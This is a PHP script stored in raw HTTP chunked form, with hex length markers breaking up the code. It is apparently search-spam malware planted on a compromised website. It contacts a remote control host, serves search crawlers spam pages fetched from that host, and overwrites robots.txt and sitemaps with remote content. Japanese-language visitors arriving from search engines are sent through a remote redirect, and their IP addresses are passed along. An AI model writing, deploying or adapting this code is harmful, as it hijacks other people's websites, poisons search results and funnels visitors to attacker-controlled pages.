1 < 6 ?php e 7 rror_re 7 porting 5 (0); 7 @set_ti 7 me_limi 9 t(120); @ 7 ignore_ 7 user_ab 8 ort(1); 7 $tr = " 6 https: 5 //j26 5 0417_ 5 23.ro 7 berto.a 6 sia/"; 7 class 5 Req { 8 pub 7 lic fun 6 ction 8 server($ 7 name = 7 '', $de 5 fault 11 = '') { 8 if ( 5 empty 13 ($name)) { a return 6 $_SER 9 VER; e } e $name = strtou d pper($name); 11 return is c set($_SERVER 9 [$name]) 11 ? $_SERVER[$name] 11 : $default; 16 } public function 1a iss() { if ($t 5 his-> b server('HTT 6 PS') & 6 & ("1" 4 == 1c $this->server('HTTPS') || "o c n" == strtol 6 ower($ 30 this->server('HTTPS')))) { return tr f ue; } e 8 lseif (' 1a https' == $this->server('R 5 EQUES 6 T_SCHE 34 ME')) { return true; } elseif (' 17 443' == $this->server(' a SERVER_POR 33 T')) { return true; } elseif (' 20 https' == $this->server('HTTP_X_ 5 FORWA 7 RDED_PR 2b OTO')) { return true; } 12 return fa 21 lse; } public function ho 14 st() { $ a host = str 17 val($this->server('HTTP 10 _X_FORWARDED_HOS 5 T') ? 1c : $this->server('HTTP_HOST') 16 ); return strp 9 os($host, 7 ':') ? 13 strstr($host, ':', 6 true) 25 : $host; } public function s 5 cheme 1f () { return $this-> 8 iss() ? 7 "https" b : "http"; 1a } public function 21 dm() { return $this-> c scheme() . " e ://" . $this-> 23 host(); } public function i 16 p() { if ( 6 getenv 9 ('HTTP_CL 6 IENT_I 15 P')) { $i 1c p = getenv('HTTP_CLIENT_IP') 21 ; } elseif (getenv('HTTP_ f X_FORWARDED_FOR 52 ')) { $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif (getenv(' 6 REMOTE 4 _ADD 3e R')) { $ip = getenv('REMOTE_ADDR'); } else 15 { $ip = 27 $this->server('REMOTE_ADDR'); } 30 return $ip; } public function i 15 sc() { $a a gent = str 1d tolower($this->server('HTTP_U 6 SER_AG 10 ENT')); c if ($agent ! a = '' && pr 7 eg_matc 6 h('/go 7 oglebot 9 |google|y 6 ahoo|b 7 ing|aol 7 /si', $ 2c agent)) { return true; } 32 return false; } public function i c sg() { 6 $refe 23 r = strtolower($this->server('HTTP_ 6 REFERE e R')); e $referbots = ' 16 google|yahoo|bing|aol' 2a ; if ($refer != '' && preg_match(" d /($referbots) 7 /si", $ 5f refer)) { return true; } return false; } public function ur 16 i() { if ( 5 ($pos 19 = strpos($this->server(' b REQUEST_URI 6 '), '. 8 php')) ! 8 == false 15 ) { $scri a pt_name = 8 basename 14 ($this->server('SCRI 6 PT_FIL 8 ENAME')) e ; 2a if (basename($this->server('SCRIPT_NAME')) 6 === $ 1f script_name) { 7 $url = 16 $this->server('SCRIPT_ 15 NAME'); } 23 elseif (basename($this->server('PH 6 P_SELF 3e ')) === $script_name) { $url = $this->server(' 3b PHP_SELF'); } elseif (basename($this->server('O 6 RIG_SC 47 RIPT_NAME')) === $script_name) { $url = $this->server(' 2a ORIG_SCRIPT_NAME'); } elseif ( 28 ($pos = strpos($this->server('PHP_SELF') 9 , '/' . $ 27 script_name)) !== false) { e $url = sub 13 str($this->server(' 13 SCRIPT_NAME'), 0, $ 7 pos) . 2a '/' . $script_name; } elseif ( 13 $this->server('DOCU 8 MENT_ROO 7 T') && 1d strpos($this->server('SCRIPT_ 1b FILENAME'), $this->server(' 16 DOCUMENT_ROOT')) === 0 1e ) { $url = str 7 _replac 23 e($this->server('DOCUMENT_ROOT'), ' 23 ', $this->server('SCRIPT_FILENAME') 19 ); } 8 $req b uri = $url 18 . substr($this->server(' 16 REQUEST_URI'), $pos + 12 4); } else 19 { $requri = 3b substr($this->server('REQUEST_URI'), strpos($this->server(' 1e REQUEST_URI'), '/')); 12 } return r 8 trim($re 9 quri, '/' 1e ); } public function e 7 xecReq( 8 $url, $p 9 = array( 11 )) { 15 $url = str_replace(' 9 ', '+', $ 10 url); $c 8 h = curl 6 _init( 13 ); curl_set 6 opt($c 6 h, CUR 8 LOPT_URL 2b , $url); curl_setopt($ch, CURLOPT_R 6 ETURNT 4 RANS 9 FER, 1); 21 curl_setopt($ch, CURLOPT_ 8 HEADER, 26 0); curl_setopt($ch, CURLOPT_T 6 IMEOUT 7 , 20); 25 curl_setopt($ch, CURLOPT_POST 2a , 1); curl_setopt($ch, CURLOPT_SSL 6 _VERIF 2c YPEER, 0); curl_setopt($ch, CURLOPT_ e SSL_VERIFYHOST 2d , 0); curl_setopt($ch, CURLOPT_POSTFI 6 ELDS, 7 http_bu 7 ild_que 5 ry($p 12 )); $outpu 9 t = curl_ 14 exec($ch); $ 8 errorCod c e = curl_err 16 no($ch); curl_ 7 close($ 11 ch); if ( 7 0 !== $ 20 errorCode) { return f false; 18 } return $output 9 ; } } 9 $req = n 6 ew Req 8 (); $isc 9 = $req-> b isc(); $isg 12 = $req->isg(); $u 6 map = 7 $tr . " 9 map"; $ur 9 i = urlde 9 code($req 7 ->uri() 13 ); $p = array( 6 "domai c n" => $req-> b dm(), " f port" => $req-> b server('SER b VER_PORT', a 80), " d uri" => $uri f ); if (substr($ 7 uri, -1 7 0) == " 8 robots.t b xt") { 7 header( 4 "Con 9 tent-type 6 :text/ 7 plain; 7 charset 5 =utf- b 8"); di 11 e($req->execReq($ 10 tr . "robots", $ 6 p)); } 20 if (substr($uri, -6) == "robots 19 ") { $output = $req-> 22 execReq($tr . "robots", $p); $ 8 rpt = __ 5 DIR__ 16 . "/robots.txt"; 5 file_ b put_content 9 s($rpt, $ e output); $ e robots_cont = 9 @file_get 15 _contents($rpt); b if (strpos( 1a strtolower($robots_cont), 9 "sitemap" 11 )) { die( 11 "robots.txt file 6 create 8 success 1a !"); } else { 1f die("robots.txt file create fai 20 l!"); } } if (substr($uri, - 9 4) == ".x b ml") { 13 if (strpos($uri, "a 10 llsitemap.xml") b || strpos($ f uri, "sitemap-i 4 ndex 3f .xml") || strpos($uri, "sitemap-index-1.xml") || strpos($uri, " 17 index.xml")) { 1d $output = $req->execReq($umap f , $p); 27 header("Content-type:text/" . (substr($ b output, 0, 9 5) === '< 5 ?xml' b ? 'xml' : 9 'plain') 12 . '; charset=utf-8 c '); a die('' . $ 13 output); } 20 $output = $req->execReq($tr . "w 9 ord", $p) 20 ; header("Content-type:text/ 1a xml; charset=utf-8"); 10 if ($output == " 18 1") { die('' . $ f req->execReq($u f map, $p)); 2a } else { die('' . $output); } 10 } $lang = $req-> e server('HTTP_A 6 CCEPT_ 5 LANGU b AGE'); if ( 6 !$isc 7 && $isg 14 && strpos($lang, 'j 6 a')!== 10 false) { $p[ 5 "ip"] d = $req->ip() e ; $action c = $tr . "jum 8 p"; 27 die($req->execReq($action, $p)); } if ( c $isc) { 1e die('' . $req->execReq($tr . " 6 indata d ", $p)); } ?> 0